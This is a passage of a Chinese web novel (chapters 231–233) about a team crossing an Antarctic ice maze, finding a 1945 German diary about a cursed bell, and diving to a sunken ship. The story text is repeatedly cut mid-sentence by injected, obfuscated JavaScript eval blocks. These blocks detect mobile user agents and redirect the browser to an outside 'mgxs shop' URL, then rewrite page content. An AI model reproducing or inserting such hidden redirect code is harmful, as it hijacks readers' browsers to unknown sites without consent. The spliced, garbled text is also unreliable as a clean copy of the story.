l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115253|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮着大大小小的浮冰。 路途中央,暴风雪小了一些,随歌指着远处一片相对平坦的冰面,忽然道:“看!那边!” 众人望去,只见几只黑白相间的身影,是企鹅。它们聚成一团,背对着风,摇摇晃晃地站着,厚重的羽毛上结了一层白霜。它们似乎察觉到了人类,有几只转过头,朝这边看了看,然后又漠然地转回去,继续面对风雪。 “阿德利企鹅,”埃文头也没回,“这里很少见。它们不该在这个季节出现在这个位置。” 不该出现的东西出现了,在这片冰原上,往往不是什么好兆头。 走了不知多久,体力在一点点流逝。前方那片巨大的阴影,终于越来越清晰。 起初只是天边一道模糊的灰线,渐渐变成参差不齐的巨影,最后,当又一阵狂风暂时卷走雪幕时,它毫无遮挡地矗立在眼前。 冰墙迷宫。 高达百米,连绵不绝,冰墙表面布满了纹路沟壑。天光穿过云隙,照在冰墙上,折射出令人眩晕的幽蓝色光华。 风撞上墙面,反弹回来,形成混乱的气流。它在迷宫深处回荡,最终变成一种仿佛无数人同时呜咽的叹息。 ——真的像叹息。悠长的,悲切的,带着回音的,从迷宫深处涌出来,灌入耳中,钻进心里。 埃文在迷宫入口前停下脚步。 这里风小了些,但那种无处不在的“叹息”声反而更清晰。他转过身,面对五人。 “这里就是冰墙迷宫,进去之后,跟紧我。记住路线,但也别太相信自己的记忆。声音会干扰判断。如果走散了,尽量待在原地,别乱跑。我会回来找。但我不保证一定能找到。” 初与序呼出白雾,抬起眼看着面前的冰墙。 随歌搓了搓冻得发红的手:“这地方要是开发成旅游景点,门票得卖老贵了吧?” 他看向同伴:“怎么着?我要是以后找不到工作,来南极养企鹅看冰墙算了。冬逢初,你跟我一起呗。” “那我们俩估计会冷死在这里。”冬逢初耸了耸肩。 埃文深吸一口气,迈步踏入了冰墙迷宫入口。 五人依次迈步,走了进去, 越往里走,越是不同。叹息般的声音有了起伏,有时像是遥远的呼唤,有时又近得仿佛贴在后颈低语。听久了,耳膜发胀,脑子也跟着嗡嗡作响。 埃文走得很慢,经常抬头,眯着眼看向冰墙顶端的一线灰天,辨认方向。他的手绘地图没有再拿出来,在这里,图纸远不如经验和直觉可靠。 冰墙内部,有些通道宽阔得能容两人并行,有些却窄得需要侧身挤过,脚下的冰面也不平坦,覆盖着一层薄雪,底下是滑溜溜的坚冰。 随歌一个不留神,脚下一滑,整个人向后仰倒,被江意一把拽住背包带子,硬生生拉了回来。 “我靠……谢了意哥!”随歌惊魂未定,拍着胸口。 江意没应声,看向随歌刚才打滑的地方,冰面下似乎有一道不易察觉的暗色纹路,像是什么东西被冻在了里面。 他停下脚步刚打算低头查看,被前面的埃文忽然出声叫住:“别停下,别看其他的东西。” 江意动作一顿,没再看向那里。 231.极地之下 “等等。” 走在前面的埃文忽然停下,举起一只手。 众人立刻止步。 埃文侧耳倾听着什么。叹息声依旧在回荡,但此刻,在那片绵长悲切的声音里,似乎夹杂了一丝别的声音,尖锐短促,像是冰层深处传来的崩裂声。 咔。 埃文脸色一变,回头低喝:“退后!贴紧冰壁!别动!” 五人反应极快,几乎在话音落下时就各自闪身贴向最近的冰墙。 下一秒, “轰——!!!” 前方约二十米处,右侧一面冰墙中部,毫无征兆地崩塌了。巨大的冰块带着积雪和碎冰,轰然砸落!冰尘冲天而起,瞬间弥漫了整个通道,视线被彻底遮蔽。脚下的冰面剧烈震颤。 五人被冰尘呛得几乎无法呼吸,随歌皱着眉:“咳咳……这啥啊咳咳……” 声音渐渐平息,冰尘缓缓沉降。 前方通道已被彻底堵死。崩塌的冰块将原本的路径完全掩埋 大小不一的碎冰还在不断从堆积物的缝隙中滑落。 埃文咳嗽了几声,拍打着身上的冰屑,他走到崩塌处边缘,仔细看了看冰堆的结构和堵塞的程度。 “路被封死了。”他转过身“得绕路。” “绕路?”随歌探头看了看那堆小山似的冰块,咂舌,“这得绕到哪年去?” “没得选。”埃文语气硬邦邦的,开始打量两侧的冰壁和狭窄的岔道,“冰墙内部应力变化,随时会塌。刚才那块只是开始。我们必须尽快离开这片区域。” 他指向左侧一条更加狭窄的冰缝隙:“走这边。快!” 队伍立刻转向,进入那条仅容一人侧身通过的冰隙。 初与序走在队伍中段,身后是景明垂,再后是随歌。冰隙内光线昏暗,头顶处漏下一丝灰白天光,映得两侧冰壁幽蓝。风声混着叹息,在耳边嗡嗡作响,扰得人心烦意乱。 初与序垂眼注意脚下湿滑的冰面,步子放得很稳。 走了一段,她忽然停下脚步,猛地回头。 身后只有景明垂和随歌。景明垂正打量着冰壁,随歌龇牙咧嘴地揉着刚才被冰棱刮到的胳膊。 再往后……空空如也。 本该跟在随歌后面的冬逢初、江意,还有领头的埃文,全都不见了踪影。他们来时的路此刻竟变成了一面光滑完整的幽蓝冰墙,严丝合缝地堵死了退路,仿佛刚才他们就是从这面墙里穿出来的一般。 “咋了?”随歌转头顺着初与序的目光看去,睁大眼睛:“卧槽?!人呢?路呢?刚刚不是还……” 景明垂转向那面凭空出现的冰墙,皱起眉:“这里的冰墙真的会移动。” 初与序抬手按住了右耳上的银耳骨夹:“冬逢初?” 耳骨夹里只传来一阵断断续续的电流滋啦声,夹杂着模糊的风声。 通讯断了。这鬼地方的磁场或者别的什么,严重干扰了系统道具的效果。 “联系不上。”她放下手,声音依旧平静,但眼底沉了下去。 “靠,这破地方还带信号屏蔽的?”随歌抬头向上看,只看到一片灰暗的天空。 景明垂走到那面凭空出现的冰墙前,伸出手轻轻敲了敲冰面:“不是幻象。冰川厚度不明。” 她收回手,看向初与序,“现在怎么办?原路返回不可能。” 初与序环视四周。他们正站在一个不规则的冰腔里,前后都被冰壁封堵,只有左右两侧各有一条岔道。光线昏暗,方向难辨。 “不能待在这里等。”她做出决断,“选一条路,走下去。” “走哪边?”随歌看向左右两条黑黢黢的岔道,“石头剪刀布?” 景明垂走到两条岔道口,分别侧耳倾听片刻,又蹲下身观察冰面上的痕迹。那上面虽然覆盖薄雪,但仔细看,有一条岔道入口处的冰面有极轻微的磨损痕迹,非常模糊,几乎无法辨认。 “左边。”她站起身,指了指那条痕迹稍显异常的通道,“可能有其他东西走过,不一定是人,但至少说明不是死路。” 她率先迈步,踏入左侧岔道。初与序紧随其后,随歌深吸一口气,也赶紧跟上,嘴里还小声念叨着:“佛祖菩萨上帝真主保佑,千万别再塌了,千万别遇到奇怪的东西……” 新的岔道里,冰壁不再是单纯的幽蓝,而是开始出现不规则的暗色纹路。 走了约莫十分钟,前方通道似乎到了尽头,被一面异常光滑、仿佛打磨过的冰壁挡住。但走近了才发现,冰壁并非完全封死,而是向内凹陷,形成一个不大的冰龛。 就在那冰龛深处,紧贴着冰壁,隐约有一个人形的轮廓。 初与序脚步一顿,抬手示意身后两人停下。 “那里,”她分辨那幽蓝冰层后凝固的阴影,“好像有个人。” “人?”随歌汗毛都竖起来了,“活的死的?” “废话,人能在这里活下来?”景明垂上前几步,琴弦在她指间绷直,随着她手腕轻抖,化为几道金线切入冰壁,很快便切割下一大块厚约半米的冰块,露出了冰层后封冻的东西。 确实是一个人。 或者说,一具尸体。 他穿着二十世纪四十年代风格的德军冬季作战服,墨绿色的呢料大衣早褪色破损,但肩章和领徽还能勉强辨认。他背靠着冰壁,身体微微蜷缩,头颅低垂,双手紧紧交握在胸前。因极度低温和漫长岁月,尸体脱水成了深褐色的干尸,皮肤紧贴骨骼,面容扭曲,但依稀能看出是个年轻男子,死亡瞬间定格的表情是混合着恐惧,还有某种决绝的复杂神态。 而在他紧握的双手中,护着一张泛黄脆硬的纸页。 景明垂用琴弦小心翼翼地将那块切割下来的冰块连同干尸一起挪到地面。她蹲下身,将干尸僵硬的手指与那张纸页分离开。 三个人凑到一起,展开纸去看上面的文字。 然后一同沉默了。 那上面写满了密密麻麻的德文花体字。 “……”随歌那堆蚯蚓似的文字干瞪眼:“这写的啥啊?鬼画符似的。这谁看得懂?也只有意哥能认出来了。” 初与序将纸页仔细折起,放进冲锋衣内侧一个防水的贴身口袋,“等出去了,找意哥翻译。” 景明垂看了看干尸,又看向冰龛后方。那里并非完全封死,冰壁很薄,隐约能看见后面似乎还有空间。 “后面可能是通路。”她指了指。 初与序点头:“走。” 三人绕过冰龛,景明垂再次用琴弦在薄冰壁上切开一个勉强可供人钻过的洞口。钻过去后,眼前竟然是一条有明显人工开凿痕迹的冰隧道,隧道墙壁上残留着一些锈蚀的支架和早已熄灭的瓦斯灯盏。 “这是……”随歌惊讶地看着那些明显不属于自然造物的痕迹。 “应该是德国人挖的。”初与序说道,“当年他们在这里活动时,可能为了运输或躲避暴风雪,开凿了这些隧道。迷宫里不只有自然形成的通道。” 人工隧道往往意味着更明确的走向和可能的出口标记,三人沿着隧道快速前进。 走了大约二十分钟,前方隐约传来人声和脚步声,还有手电晃动的光柱。 “前面有人!”随歌压低声音。 拐过一个弯,前方隧道交汇处,几个人影正背对着他们,其中一人举着手电,正在观察墙壁上的标记。 是埃文、冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115254|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢初和江意。 冬逢初立刻察觉到了身后的动静,转身,手已按在腰间的长剑上。但当看清来人是初与序三人时,明显松了口气。 埃文见到他们,大声道:“你们没事!太好了!刚才冰墙移动,一转眼的功夫你们就不见了,我们还以为……” “我们也被困住了,”景明垂开口,“走了一条岔道,发现了点东西。” 埃文朝着几人挥了挥手,开口道:“先走出这迷宫再说。这条隧道我认得,是德国人当年开凿的备用通道之一,通向迷宫另一个出口。跟我来。” 又走了约一刻钟,叹息声渐渐减弱,前方出现了不同于幽蓝冰壁的灰白色天光。 拐过一个急弯,眼前豁然开朗。 他们终于走出了冰墙迷宫。 迎面而来的,是更加狂暴的极地寒风,和一片截然不同的景象。 脚下不再是坚实的冰面,而是一片巨大的冰裂边缘。冰裂宽度超过三十米,深不见底,墨蓝色的海水在下方涌动。 而对岸,大约五十米外,是一片相对平缓的冰川平台。平台边缘,依稀可见一些废弃的木箱,还有一面残破的纳粹铁十字旗,在狂风中抖动。 埃文站在冰裂边缘,狂风吹得他几乎站立不稳。他看了看天色,从怀中掏出地图,转身朝着五人喊道:“看到对面那块冰川了吗?底下肯定有冰窟,天然的避风处!” 他指着地图上冰裂对岸一片用细线标出的区域:“暴风雪还有一小时左右结束,但最后一小时是最要命的!风会比现在更猛,温度会骤降!我们必须在那之前穿过这道冰裂,躲到冰窟里去!否则风会把我们吹迷路!找不到方向,温度一掉,最多几十秒人就会冻僵!神仙也救不了!” 随歌缩了缩脖子:“穿、穿过去?怎么穿?这他妈三十多米宽,袋鼠来了都得哭!” 埃文看向江意和冬逢初:“你们两个先过去,固定绳索。这边冰层厚实,能找到固定点。用登山绳和冰锥,搭一条简易索道。剩下的人顺着索道爬过去。” 说着,他从背包里往外掏东西:一捆登山绳,几枚尾部带环的钢制冰锥,几把冰镐,还有一堆金属安全扣和滑轮。 “冰锥要砸进最坚实的冰层,至少三十公分深。绳索打双套结,检查三遍。”埃文分发工具,“过去后,在对岸找至少两个独立的牢固固定点,分开受力。索道不要绷太直,留一点弧度,防止冰层异动崩断。动作要快!” 江意和冬逢初接过工具。 “我先下。”江意说。他走到冰裂边缘,蹲下身,观察下方冰壁可能的落脚点。狂风将他额前的碎发吹得乱飞,护目镜后的眼睛冷静。 冬逢初站在他身侧,将绳索一端牢牢系在自己腰间,另一端交给江意:“小心。” 江意点头,将绳索在腰间和肩膀上绕了几圈固定好,转身面朝冰壁,开始向下攀爬。 冰壁湿滑,覆盖薄雪,几乎无处着力。江意用冰镐尖端狠狠凿进一道冰缝,试了试牢固度,才移过去,脚下踩住一块凸起的冰岩。 狂风从冰裂深处倒灌上来,他脚下踩着的冰岩很容易崩落冰屑,看得上方的几人心脏都快跳出来, 下到约十五米处,江意找到了一处较为宽阔的冰台,暂时稳住身形。抬头向上打了个手势,示意安全。 冬逢初立刻将绳索另一端在附近一块坚冰上绕了几圈,打上绳结,又用冰锥加固。做完这些,他也开始向下攀爬。 两人在冰台上汇合,简单交流几句,便朝着对岸方向横向移动。冰裂上方的风小了些,但冰壁更加湿滑难行,有些地方甚至结着透明的薄冰,滑不留手。他们不得不频繁使用冰锥凿出临时落脚点,进度缓慢。 232.极地之下 时间一分一秒过去。埃文不停地抬头看天,灰黑色的云层压得更低。 随歌冷得牙齿打颤,忍不住小声嘀咕:“意哥和冬哥行不行啊……这风越来越大了……” 终于,在对岸下方约十米处,江意找到了一处理想的固定点,那里有一块深深嵌入冰壁的岩石,周围冰层坚实。他用冰锥和绳索迅速设置好第一点。 冬逢初则继续横向移动了几米,在另一处冰层异常厚实的凹陷处设置了第二点。 两人将主绳索分别固定在两点上,拉紧,测试承重。绳索在狂风中绷成一道微微晃动的弧线,连接着冰裂两岸。 江意向上方打了个“完成”的手势。 埃文松了口气,立刻对剩下的三人道:“快!一个接一个!用安全扣锁在绳索上,手脚并用爬过去!不要往下看!只管向前!” 景明垂第一个上前。她将安全扣锁在绳索上,检查无误,双手抓住绳索,开始横向移动,速度很快。 接着是随歌。他咽了口唾沫,学着景明垂的样子锁好安全扣,嘴里念念有词:“祖宗保佑祖宗保佑我不恐高我不恐高……”闭了闭眼,猛地蹬离边缘。一开始手脚有些乱,但很快找到节奏,虽然慢些,却也稳稳地向前挪去。 初与序看向埃文:“您先。” 埃文摇头,语气不容置疑:“我最后。快!” 初与序不再推辞。她锁好安全扣,抓住冰冷的绳索,顺着冰壁攀岩,风从四面八方包裹过来,她手臂和腰腹同时发力,一点点向前移动,很快也顺利到达对岸。 埃文是经验最丰富的,虽然年纪大,但动作沉稳老练,也安全抵达。 六人终于全员站在了对岸的冰川平台上。 身后,冰裂对岸的来路已被越来越浓的雪雾彻底遮蔽。前方,那面残破的纳粹铁十字旗在不到五十米外疯狂抖动,积雪几乎将它掩埋。 在旗杆后方不远处的冰川崖壁底部,有一个黑黢黢的洞口。大约两人高,边缘不规则,像是天然形成,又有人工修凿的痕迹。洞内深不见底,往外渗着比冰原上更加刺骨的寒气。 几乎就在他们踏上平台的同时,天地间的光线以肉眼可见的速度暗沉下去。风声从凄厉的嚎叫变成了疯狂的咆哮!雪片抽打在冰面上,发出爆响。 温度开始急剧下降。初与序甚至能感觉到冲锋衣的保暖层在迅速被寒气穿透。 “快!”埃文指着那个冰窟洞口,“进去!立刻!” 六个人顶着能将人掀翻的狂风,进入冰窟。 冰洞内部却豁然开朗,洞壁光滑如镜,风声被厚实的冰壁隔绝了大半,只剩下低沉的呜咽,衬得洞内有种奇异的静谧。 埃文在洞内一处相对干燥的角落清出一块平地,用随身携带的小型燃料炉升起了火,很快驱散了刺骨的寒意。他又架起一口小锅,融了些雪水,加入压缩汤料块和肉干,不一会儿,浓郁的香气便弥漫开来。 随歌脱掉手套,把手凑近火焰,哆哆嗦嗦道:“我快成冰雕了……我靠啊啊啊~” 初与序取出那张脆黄的德文纸页,小心地展开,就着火光递到江意面前。 江意接过纸,静静地看了一会儿。 [1945年3月7日。威德尔海,南纬72度附近。天气诡谲,冰况异常。] [施密特博士疯了。他整夜不睡,说听见无声的铃响,在脑子里震。他说那东西靠血认人,一旦沾上,就像打上了标记。摇铃的人能叫所有打过标记的人去死,去违反一切规矩送死。他说这是东方巫师造出来,专让仇家内斗的邪物。] [3月10日。又有两个船员不对劲了。胡言乱语,说墙在哭,水是红的。厨师哈塞尔把自己胳膊划了,血滴进汤锅,他笑。他被关起来了。] [博士抓住我,对着我大喊:“听着,那铃铛是活的!它饿,要喝血,要更多的人打上标记!摇铃的不会有事,但被打标记的人会变成傀儡!船上每个人,都已经是它碗里的肉了!”] [我吓坏了。晚上溜进科学舱,看到那铃铛。青铜的,刻着红符。我碰了一下,没声音,但我整个人从骨头里开始抖,又冷又麻,像被什么东西舔了一口。] [3月12日。博士不见了。他舱室里全是划出来的字:“blutige Verhei?ung”(血誓)、“nie klingeln”(永不摇铃)。有人说他跳海了,有人说上校把他“处理”了。] [船上的活人越来越像鬼。互相躲着看,说话像蚊子叫。我也开始做噩梦,梦见自己摇铃,然后所有人排队往海里跳……] [我写这些,不知道还能活几天。要是后来有人找到这船,找到这纸,记住:离那铃铛远点。别让它沾你的血。要是已经沾了……唉。或许把它带走,带到永远没人能找到的地方,埋了。但谁知道呢?它可能就喜欢被人带走,去沾更多血……] [上帝啊,我们到底从那个东方庙里,挖出了个什么东西?] 江意翻译完,合上纸页,递还给初与序。 随歌咂舌道:“这玩意儿还真是专坑自己人啊?要是哪个队伍里混进了内鬼,偷偷滴血认了主,关键时刻摇一下铃,好家伙,直接团灭。” “所以日记里写,是让仇家内斗的邪物。”冬逢初说,“用在敌方队伍里,防不胜防。” 初与序将纸页折好,重新收进贴身口袋。“关键不是它怎么用,是怎么拿。日记主人最后的建议是‘带走,埋了’,但显然德国人没这么做。” “汤好了。”埃文的声音从火炉边传来,他用木勺搅动着锅里的汤汁,给每人盛了一碗。 喝完汤,埃文将锅碗简单收拾了一下,又从他那个鼓囊囊的大背包里掏出一个包裹。打开,里面是几张泛黄的图纸。他抽出其中一张空白的厚纸,举到火堆上方,缓缓移动。 空白纸面上,渐渐浮现出淡褐色的线条和字迹。越来越清晰,最终呈现出一幅手绘的海岸线地图、一些德文标注,以及一条从海岸某点延伸向海洋深处的路线。 “显影墨水,”埃文解释道,“热源激活。” 他指着地图上一个画着小船标志的点,又指了指离他们现在位置大约几公里外,用德文标注的一个地名:“Eismeer-Basis”(冰海基地)。 “船沉下去的位置在这里,”他点在海面上一个用红叉标记的地方,“离海岸有差不多两公里。我们需要船,和小型潜水装备,才能下到那个深度。” 他又指向冰海基地:“那里是早年一个多国联合建立的季节性补给点,现在基本废弃了,但还留着几艘小型橡皮艇和一些老式但能用的潜水设备。守在那里的是个老挪威人,叫哈康,脾气古怪,规矩也怪。他午后要睡三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115255|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小时雷打不动,睡醒前绝不开门办事,天王老子来了也没用。只肯在上午借出东西。” 埃文抬头,看了看洞口透进来的天光。 “离太阳升到最高点,还有差不多两个小时。从我们这里走到冰海基地,以现在的风速和雪况,至少需要一个半小时。时间很紧。” 他环视五人:“我们分两队。一队跟我去冰海基地找哈康借船和设备,另一队直接去这个海岸标记点等着汇合。这样最快。” 江意想了想,开口道:“初与序,随歌,你们跟埃文去借船。冬逢初,景明垂,和我去海岸点。” 随歌刚把最后一口汤咽下去,听到这话,苦着脸:“啊?又是我?意哥,那路看着老长了!外面风还这么大!能不能换换?让景明垂去呗,她腿长走得快!” 景明垂淡淡瞥了他一眼:“……” 江意平静地拒绝了随歌的要求。 初与序已经站起身,开始检查自己的装备和背包。 随歌认命地叹了口气,往身上挂装备:“行吧行吧,去就去……唉,命苦不能怨政府,点背不能怪社会……” 埃文已经收拾好图纸,重新背起大包,走到冰洞口,侧耳听了听外面的风声。风似乎比刚才小了一些,但依然凄厉。 他回头,看向整装待发的几人,嘱咐:“跟紧我。看到任何不对劲的东西,别碰,别问,立刻告诉我。” 风势确比之前小了些,天空依旧是沉甸甸的铅灰色,压得极低。视线好了一些,能看出二三十米开外冰原的起伏轮廓。 “跟紧,踩我脚印。”埃文头也不回地扔下一句,便迈开步子,朝着与海岸线大致平行的方向前进。 初与序看着他的背影,埃文的步伐有一种老练的节奏,既不太快消耗体力,也不至于太慢耽误时间,每一步都扎实地陷进积雪,留下清晰的坑印。 随歌跟在两人后面,嘴里依旧忍不住小声念叨:“这雪地跋涉真不是人干的活儿……腿要断了。” 走了约莫一个小时,前方终于出现了不同于自然冰原的景象。 几座低矮的建筑立在冰面上,表面覆盖着厚厚的积雪。建筑周围散落着一些油桶,雪橇和冻得硬邦邦的缆绳。一块歪斜的木牌钉在门上,上面用挪威语和英语潦草地写着: 「Eismeer-Basis–补给站–哈康] 埃文在距离建筑十几米外停下,抬手示意身后两人止步。他仔细观察了片刻,才低声道:“就是这儿。哈康应该在里面。他脾气怪,最讨厌睡觉被打扰。” 随歌紧张地压低声音:“那……我们怎么敲门?温柔地敲?还是……” 他话没说完,埃文已经大步走上前,毫不犹豫地抬起手,在那扇厚重的门上“哐!哐!哐!”砸了三下。 声音沉闷而响亮,在寂静的冰原上显得格外突兀。 随歌被吓了一跳:“埃文叔!不是说不能打扰他午睡吗?!这动静跟拆门似的!” 埃文回头瞥了他一眼:“规矩是死的,人是活的。我们时间更紧。有时候,直接点比绕弯子有用。” 门内毫无动静。 埃文等了五秒,再次抬手,又是同样力度的三下。 “哐!哐!哐!” 这一次,门内终于传来一阵被吵醒后不悦的嘟囔声,用的是挪威语,语调粗嘎。 233.极地之下 脚步声由远及近,厚重的门向内拉开一条缝,陈旧的气味涌了出来。 一张布满深刻皱纹的脸出现在门缝后。他头发胡子都是脏兮兮的灰白色,纠结在一起,一双浅蓝色的眼睛像结了冰的湖面。他穿着臃肿的羊毛衫,外面套着件鹿皮坎肩。 ——正是哈康。 他扫过门外的埃文、初与序和随歌,用带着浓重口音的英语粗声道:“埃文·约根森?又是你。我说过多少次,午后是我的时间。天塌下来也别吵我睡觉。” 埃文直接切入正题:“哈康,我们需要借船,和小型潜水装备。去‘施瓦茨维尔特号’沉船点。” 哈康盯着埃文,沉默了几秒,嗤笑道:“又是那艘鬼船?你们约根森家的人,是不是都嫌命太长?几十年前你那几个朋友折在那里,现在你又带着两个不知天高地厚的小娃娃去送死?” 埃文冷冰冰道:“借,还是不借?” “规矩。”哈康最终哼了一声,让开了门缝,“船和装备可以借。老价钱,双倍,因为你们吵了我睡觉。而且我只借给你们到日落。日落前不还回来,或者船出了任何事,以后永远别想再踏进我的基地半步。” “还有。”他补充道,“那艘船附近的水域不太平。最近尤其不太平。水下有东西醒了。你们最好祈祷自己运气够好。” 埃文点点头:“成交。” 哈康这才完全拉开门,侧身让他们进去。屋里比外面暖和不了多少,墙上挂着各种工具,泛黄的海图,以及一些像是大型海洋生物骨骼的标本。 哈康走到屋子角落,掀开一块厚重的防水帆布,露出下面堆叠的几卷橙色橡皮艇和一些老式但保养得不错的潜水气瓶、面镜、调节器等装备。 “船是好的,引擎上月刚检修过。潜水服是老式的,像麻袋的那种,手脚腕子那里有带子能扎紧,水进不去。气瓶是满的。”哈康拍了拍橡皮艇,再次看向埃文,“埃文,看在老交情份上,最后劝你一句:那艘船里的东西,不是活人该碰的。” 埃文弯腰开始检查橡皮艇和装备,没有抬头,只是淡淡道:“我有数。” 哈康盯着他的背影看了几秒,摇了摇头,不再多说,转身走到他那张凌乱的床边,重重坐下去,重新闭上眼睛,仿佛他们已经不存在了。 初与序和随歌帮着埃文将橡皮艇和必要的潜水装备整理出来,搬到门外。装备很沉,在积雪中拖行颇为费力。 准备妥当,埃文最后看了一眼屋内似乎已经重新入睡的哈康,对初与序和随歌道:“走,去海岸汇合点。抓紧时间。” 三人拖着沉重的装备,转身离开冰海基地。 周围的能见度随着他们靠近海岸,非但没有提升,反而诡异地开始下降。 “起海雾了。”埃文忽然开口道。 起初只是冰裂方向飘来的水汽,越往前走,雾气越浓,渐渐地将周围都吞没在了一片灰蒙蒙的之中。风也不再呼啸,此时只剩下他们自己的呼吸声。 太安静了,安静得让人心头发毛。 “这雾什么时候起来的?”随歌不安地环顾四周,雾气缓缓流动,将一切都包裹在模糊不清的轮廓里。 埃文警惕地观察着四周:“威德尔海的雾,有时候说来就来,没有预兆。小心脚下,靠近海岸了,冰层可能变薄,还有冰窟窿。” 又走了一小段,前方白茫茫的雾气中,隐约出现了三个人影的轮廓,还有一点微弱的手电光在雾中晃动。 是冬逢初、江意和景明垂。 他们已经先一步抵达了地图上标记的汇合点,站在一片延伸入海的冰岸边缘。脚下已经是混杂着碎冰和海水的湿滑冰面,再往前几米,就是墨蓝色的海水了。海水异常平静,没有浪,只有一层薄冰在边缘微微起伏,雾气从海面升腾而起,将目之所及的一切都笼罩在灰白里。 埃文和随歌动作迅速地开始给橡皮艇充气,随后将沉重的潜水装备一件件搬上小艇。 潜水服确实如哈康所说,厚重宽大,橡胶材质,手脚腕处的束缚带是老式的金属扣。氧气瓶是双瓶,潜水镜镜片还算清晰。 五人将宽大的潜水服套在冲锋衣外,将一些必要的工具包好,固定在橡皮艇上。 埃文最后一个检查完自己的装备,率先登上摇晃的橡皮艇。接着是江意、景明垂、随歌,最后是冬逢初和初与序。 小艇吃水很深,在海面上微微晃动。橡皮艇在死寂的墨蓝海面上滑动,破开一层薄冰。雾气浓得化不开,像一床厚重的湿棉被,裹住了小艇和艇上的人。能看见的只有周围几米翻涌的灰白,再远,便是一片混沌。 随歌和埃文一前一后划着桨。 随歌被这完全丧失方向感的环境搞得心里发毛,动作不由自主地僵硬起来。 “埃、埃文大叔,”他的声音在雾气里闷闷的,“我们……没划错方向吧?这啥也看不见啊!” 埃文头也没回:“方向没错。雾大而已。少说话,节省体力。” 又划了大约二十分钟,埃文忽然停下了划桨的动作。他侧耳倾听片刻,又低头看了看手腕上一个老旧的防水深度计和指南针。 “到了。”他说。 橡皮艇缓缓停在一片空旷的海面上。下方墨蓝的海水深不见底,雾气在这里似乎淡了一些,能勉强看到更远处海面漂浮的冰山轮廓。 埃文开始做下潜前的最后检查,他示意每个人都再次确认装备。 确认无误后,埃文看向五人:“下去后,跟紧。手势交流。注意周围,尤其是那些看着不像自然形成的东西。”他顿了顿,随口道“海底的注意事项,还有基本手势,你们都明白吧?” 五人动作同时顿了一下。 埃文没听到回应,猛地转回头:“你们来之前,没训练?” 小艇上一片诡异的沉默。 随歌干笑了一声,挠了挠头:“那个……埃文大叔,我们……情况比较特殊,算是紧急征召?训练,可能……稍微省略了那么一点点……” 埃文的表情变得难以形容,带着“我就知道会这样”的无力感。他叹了一口气,极力压制着什么,然后快速开始临阵磨枪: “我只说一遍!下去后,用嘴呼吸,别用鼻子!面镜进水了,按住上部,用鼻子喷气排水!耳朵痛就做吞咽动作!跟着我,别掉队!手势:握拳,是停止或有问题;大拇指向上,是上升;向下是下潜;手指并拢指向某个方向,是朝那里去;手在脖子前横划,是没气了或有危险;OK手势,是没事。记住了没?!” 五人立刻点头。 埃文揉了揉额头,感觉血压有点高:“都下去。抓紧时间。” 景明垂左右看了看海雾,忽然问:“不需要留一个人在艇上?” 埃文破罐子破摔地一摆手:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136455|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留什么留!这鬼地方,雾一起,浪一拍,艇都不知道飘哪儿去!留下来的人跟丢了,在这冰海里能活几分钟?不如一起下去!上来的时候自己看着办,能找到艇最好,找不到就游到岸边!艇丢了就丢了,哈康那里艇多的是。” 五人:“……” 这计划真是充满了随遇而安的“豁达”。 但似乎也没有更好的选择。 埃文不再废话,翻过艇沿,噗通一声没入墨蓝的海水中。他很快从水面下冒出头,面镜后的眼睛盯着他们,做了个“下来”的手势。 几人紧随其后。 冰冷的海水从四面八方包裹上来,即使隔着厚重的潜水服,刺骨的寒意也透了进来。光线变得幽暗。上方是微微晃动的橡皮艇底和破碎的天光,下方,是无尽的墨蓝深渊。 埃文看到所有人都已入水,再次打出“跟随”和“下潜”的手势。然后,他调整了一下呼吸,身体一沉,开始朝着那深不见底的黑暗,缓缓下潜。 五人对视一眼,跟上了那道向下沉去的身影。 光线迅速衰减,从海面透下的天光很快消失。能见度低得可怜,只有前方埃文潜水服上微弱的反光条和身后队友模糊的轮廓。 下潜的过程十分漫长,从海面到海底,水压越来越大,挤压着身体,也挤压着神经。 不知过了多久,或许只有几分钟,又或许像一个世纪那么漫长,周围的海水似乎“活”了过来。 首先感觉到的是声音。一种低沉悠长的嗡鸣,直接敲打在骨头上。接着是阴影,一个巨大得难以想象的阴影,从他们侧下方的深蓝中缓缓浮现。 初与序握紧手电,扫过去。 那是一条鲸。 